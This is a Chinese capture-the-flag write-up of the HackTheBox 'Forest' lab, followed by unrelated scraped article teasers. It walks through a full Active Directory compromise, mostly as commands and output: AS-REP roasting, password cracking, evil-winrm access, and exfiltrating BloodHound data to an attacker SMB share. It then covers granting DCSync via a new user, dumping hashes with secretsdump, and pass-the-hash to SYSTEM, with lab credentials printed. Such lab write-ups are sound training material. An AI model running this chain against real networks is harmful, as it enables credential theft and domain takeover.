HTB:Forest[WriteUP]

news2025/1/29 20:43:28

连接至HTB服务器并启动靶机

分配IP:10.10.16.21

靶机IP:10.10.10.161

靶机Domain:forest.htb


目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbclient尝试列出靶机SMB共享

使用netexec枚举靶机AD域中的用户信息

边界突破

将上述枚举出来的用户名保存到文件中

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据

使用john对该密码哈希进行字典爆破

使用netexec通过上述凭证尝试枚举靶机SMB服务共享

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

将SharpHound上传至靶机

控制靶机连接至攻击机SMB服务器

使用BloodHound读取分析靶机域内数据

点击下方的HTB.LOCAL域结点查看其可传递DC

查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组

授予x0da6h账户DcSync权限

使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.161 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.161

  • 需要重点关注的端口和信息

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

AD域名:htb.local

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.161

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn 10.10.10.161

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn 10.10.10.161

使用smbclient尝试列出靶机SMB共享

smbclient -L \\forest.htb

使用netexec枚举靶机AD域中的用户信息

netexec smb forest.htb -d htb.local --users


边界突破

将上述枚举出来的用户名保存到文件中

netexec smb forest.htb -d htb.local --users | awk '{print $5}' | tee names.txt

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
impacket-GetNPUsers -no-pass htb.local/ -usersfile ./names.txt -dc-ip 10.10.10.161

$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc
  • 将枚举得到的密码哈希保存到文件中
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc' > hash

使用john对该密码哈希进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt --format=krb5asrep

账户:svc-alfresco

密码:s3rvice

使用netexec通过上述凭证尝试枚举靶机SMB服务共享
netexec smb forest.htb -u 'svc-alfresco' -p 's3rvice' --shares

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'svc-alfresco' -p 's3rvice'

  • C:\Users\svc-alfresco\Desktop目录下找到user.txt文件


权限提升

将SharpHound上传至靶机

upload SharpHound.exe

  • 执行该文件收集靶机域内信息
.\SharpHound.exe -c all

控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
  • 将域内数据拷贝至攻击机共享目录中
copy 20250126235717_BloodHound.zip Z:\

使用BloodHound读取分析靶机域内数据

  • 选择`查找到域管理员的最短路径`

点击下方的HTB.LOCAL域结点查看其可传递DC

  • 如图表所示,ACCOUNT OPERATORS(AO)组对EXCHANGE WINDOWS PERMISSIONS(EWP)组具有GenericAll权限,而EWP组对HTB.LOCAL域控制器具有WriteDacl权限
查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
  • 在域中新建一个用户
net user x0da6h Password123! /add /domain

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user x0da6h Password123! /add /domain
The command completed successfully.

  • 将该用户加入EWP组
net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
The command completed successfully.

授予x0da6h账户DcSync权限

  • 将明文密码转换为安全字符串
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  • 创建x0da6h用户与安全密码的凭证对象
$Cred = New-Object System.Management.Automation.PSCredential('HTB\x0da6h', $SecPassword)
  • 使用凭证对象为x0da6h账户授予 HTB.LOCAL的DCSync权限
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity x0da6h -Rights DCSync
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
impacket-secretsdump 'htb.local/x0da6h:Password123!@10.10.10.161'

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
  • C:\Users\Administrator\Desktop目录下找到root.txt文件

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户

impacket-psexec htb.local/Administrator@forest.htb -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2285106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

物业软件推动物业行业数字化转型 实现高效管理和优质客户体验

内容概要 在当今高速发展的数字化时代,物业软件的出现不仅使物业管理变得更加高效,也为行业转型提供了强大的支持。通过整合多种功能,物业软件显著提升了管理效率和客户体验。例如,在线收费和停车管理功能,让业主享受…

GO 库与框架篇

1. 需要重点掌握的库和框架? 输入输出: io,ioutil,fmt,bufio 字符处理: strings,bytes,strconv,regex,unicode,json 日期: 定时器-time.Tick,延时器-time.After/time.AfterFunc 数据库: database/sql 单元测试: testing 非类型安全操作: unsafe 同步:sync-同步操作,atomic-原子…

24-25出差交流体会-25-01-28

简洁版 如果发现自己走下坡路,工资下降等,如何办? (环境因素等不在此文讨论范围,个人无法改变大环境。) 多思考,是否是自身已经具备的能力在新模式下大幅贬值。 出路只有一条,提升自…

Linux 学习笔记__Day3

十八、设置虚拟机的静态IP 1、VMware的三种网络模式 安装VMware Workstation Pro之后,会在Windows系统中虚拟出两个虚拟网卡,如下: VMware提供了三种网络模式,分别是:桥接模式(Bridged)、NAT…

SOME/IP--协议英文原文讲解2

前言 SOME/IP协议越来越多的用于汽车电子行业中,关于协议详细完全的中文资料却没有,所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块: 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.1 Speci…

JWT实现单点登录

文章目录 JWT实现单点登录JWT 简介存在问题及解决方案登录流程后端程序实现前端保存Tokenstore存放信息的缺点及解决 校验流程:为gateway增加登录校验拦截器 另一种单点登录方法:Token+Redis实现单点登录 JWT实现单点登录 登录流程&#xff…

使用Avalonia UI实现DataGrid

1.Avalonia中的DataGrid的使用 DataGrid 是客户端 UI 中一个非常重要的控件。在 Avalonia 中,DataGrid 是一个独立的包 Avalonia.Controls.DataGrid,因此需要单独通过 NuGet 安装。接下来,将介绍如何安装和使用 DataGrid 控件。 2.安装 Dat…

特权模式docker逃逸

目录 1.环境 2.上线哥斯拉 3.特权模式逃逸 1.判断是否为docker环境 2.判断是否为特权模式 3.挂载宿主机磁盘到docker 4.计划任务反弹shell 1.环境 ubuntu部署一个存在CVE-2017-12615的docker: (ip:192.168.117.147) kali(ip:192.168.117.128) 哥斯拉 2.上线哥斯拉…

Ollama+DeepSeek本地大模型部署

1、Ollama 官网:https://ollama.com/ Ollama可以干什么? 可以快速在本地部署和管理各种大语言模型,操作命令和dokcer类似。 mac安装ollama: # 安装ollama brew install ollama# 启动ollama服务(默认11434端口&#xf…

公司的税收日期的确定(OBCK)

本文主要介绍在S4 HANA OP中S4 HANA公司的税收日期的确定(OBCK)相关设置。具体请参照如下内容: 如果税率是基于日期的,那么以上配置点用来确定基于什么日期来确定最终使用的税率。 如果勾选,则代表以“凭证日期”作为税率确定的日期如果不勾…

通过高效的侦察发现关键漏洞接管整个IT基础设施

视频教程在我主页简介或专栏里 在这篇文章中, 我将深入探讨我是如何通过详细分析和利用暴露的端点、硬编码的凭据以及配置错误的访问控制,成功获取目标组织关键IT基础设施和云服务访问权限的全过程。 我们先提到目标网站的名称 https://*sub.domain*.co…

PostGIS笔记:PostgreSQL中表、键和索引的基础操作

创建、查看与删除表 在数据库中创建一个表,使用如下代码: create table streets (id serial not null primary key, name varchar(50));这里的表名是streets,id是主键所以非空,采用serial数据类型,这个数据类型会自动…

Yolo11 + OCR 营业执照识别+信息抽取(预期后续改用其他ocr更简单,推理预计使用onnxruntim加速,分c++和python两种方式部署)

目录 一 数据集制作 1 labelimg的安装与使用 2 标注方式 3 数据集制作 二 模型训练 三 使用Yolo11 + OCR 实现“营业执照”信息解析完整方案 1 cutLinesforcode.py 2 getBusinessLicenseContentPart.py 3 getPartWords.py 4 pdfTojpg.py 5 main.py 本项目可用于毕业…

Linux 学习笔记__Day2

目录 十二、上传和下载文件 十三、软件包的安装和卸载 十四、打包和压缩 1、zip命令 2、tar命令 3、其它打包压缩的命令 十五、Linux进程 1、查看进程 2、终止进程 十六、性能分析top 1、top输出结果说明 2、top常用的选项 3、top交互命令 4、demo01.cpp 5、de…

“腾讯、钉钉、飞书” 会议开源平替,免费功能强大

在数字化时代,远程办公和线上协作越来越火。然而,市面上的视频会议工具要么贵得离谱,要么功能受限,甚至还有些在数据安全和隐私保护上让人不放心。 今天开源君给大家安利一个超棒的开源项目 - Jitsi Meet,这可是我在网…

接口技术-第4次作业

目录 作业内容 解答 1、设8255A接到系统中,端口A、B、C及控制口地址分别为304H、305H、306H及307H,工作在方式0,试编程将端口B的数据输入后,从端口C输出,同时,将其取反后从端口A输出。 2、下图中&#x…

【Elasticsearch】Elasticsearch的查询

Elasticsearch的查询 DSL查询基础语句叶子查询全文检索查询matchmulti_match 精确查询termrange 复合查询算分函数查询bool查询 排序分页基础分页深度分页 高亮高亮原理实现高亮 RestClient查询基础查询叶子查询复合查询排序和分页高亮 数据聚合DSL实现聚合Bucket聚合带条件聚合…

day6手机摄影社区,可以去苹果摄影社区学习拍摄技巧

逛自己手机的社区:即(手机牌子)摄影社区 拍照时防止抖动可以控制自己的呼吸,不要大喘气 拍一张照片后,如何简单的用手机修图? HDR模式就是让高光部分和阴影部分更协调(拍风紧时可以打开&…

Linux - 进程间通信(2)

目录 2、进程池 1)理解进程池 2)进程池的实现 整体框架: a. 加载任务 b. 先描述,再组织 I. 先描述 II. 再组织 c. 创建信道和子进程 d. 通过channel控制子进程 e. 回收管道和子进程 问题1: 解答1&#xff…

langchain基础(二)

一、输出解析器(Output Parser) 作用:(1)让模型按照指定的格式输出; (2)解析模型输出,提取所需的信息 1、逗号分隔列表 CommaSeparatedListOutputParser:…